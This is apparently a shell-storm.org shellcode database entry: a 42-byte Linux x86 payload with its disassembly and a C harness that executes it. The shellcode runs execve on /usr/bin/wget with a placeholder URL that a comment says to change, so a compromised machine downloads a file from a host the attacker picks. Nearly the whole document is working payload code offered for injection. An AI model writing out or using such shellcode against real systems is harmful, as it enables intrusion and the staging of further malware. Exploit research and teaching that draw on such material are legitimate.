/* Title: Linux x86 - Remote file Download - 42 bytes Author: Jonathan Salwan <submit AT shell-storm.org> Web: http://www.shell-storm.org Twitter: http://twitter.com/jonathansalwan !Database of Shellcodes http://www.shell-storm.org/shellcode/ 08048054 <.text>: 8048054: 6a 0b push $0xb 8048056: 58 pop %eax 8048057: 99 cltd 8048058: 52 push %edx 8048059: 68 61 61 61 61 push $0x61616161 804805e: 89 e1 mov %esp,%ecx 8048060: 52 push %edx 8048061: 6a 74 push $0x74 8048063: 68 2f 77 67 65 push $0x6567772f 8048068: 68 2f 62 69 6e push $0x6e69622f 804806d: 68 2f 75 73 72 push $0x7273752f 8048072: 89 e3 mov %esp,%ebx 8048074: 52 push %edx 8048075: 51 push %ecx 8048076: 53 push %ebx 8048077: 89 e1 mov %esp,%ecx 8048079: cd 80 int $0x80 804807b: 40 inc %eax 804807c: cd 80 int $0x80 */ #include <stdio.h> char sc[] = "\x6a\x0b\x58\x99\x52" "\x68\x61\x61\x61\x61" // Change it "\x89\xe1\x52\x6a\x74" "\x68\x2f\x77\x67\x65" "\x68\x2f\x62\x69\x6e" "\x68\x2f\x75\x73\x72" "\x89\xe3\x52\x51\x53" "\x89\xe1\xcd\x80\x40" "\xcd\x80"; int main(void) { fprintf(stdout,"Length: %d\n",strlen(sc)); (*(void(*)()) sc)(); return 0; }